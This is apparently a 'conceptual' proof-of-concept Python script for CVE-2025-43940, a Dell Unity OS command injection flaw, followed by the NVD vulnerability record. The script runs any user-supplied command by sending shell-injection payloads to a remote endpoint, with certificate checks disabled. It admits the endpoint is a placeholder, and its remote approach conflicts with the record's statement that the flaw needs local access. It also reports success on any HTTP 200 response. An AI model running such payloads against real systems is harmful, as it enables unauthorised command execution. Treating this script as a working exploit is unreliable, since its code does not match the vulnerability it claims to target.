CVE-2025-43940

# CVE-2025-43940 Dell Unity OS Command Injection PoC # Note: This is a conceptual PoC for educational purposes only # Actual exploitation requires local access to Dell Unity system import requests import sys def exploit_cve_2025_43940(target_ip, command): """ Conceptual PoC for CVE-2025-43940 OS Command Injection in Dell Unity """ # Target endpoint (placeholder - actual endpoint requires investigation) url = f"https://{target_ip}/api/v1/endpoint" # Malicious payload with command injection # Common injection characters: ; | ` $() && || payload = { "parameter": f"value;{command}", "input": f"test`{command}`", "data": f"normal$({command})" } try: response = requests.post(url, data=payload, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Command executed successfully: {command}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_43940_poc.py <target_ip> <command>") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit_cve_2025_43940(target, cmd)

{"cve": {"id": "CVE-2025-43940", "sourceIdentifier": "[email protected]", "published": "2025-10-30T14:15:43.107", "lastModified": "2025-11-03T19:58:17.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Unity, version(s) 5.5 and Prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution and Elevation of privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.2.0", "matchCriteriaId": "77B81CED-E1D2-4A7B-A5BB-48E97319E93B"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000385307/dsa-2025-379-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}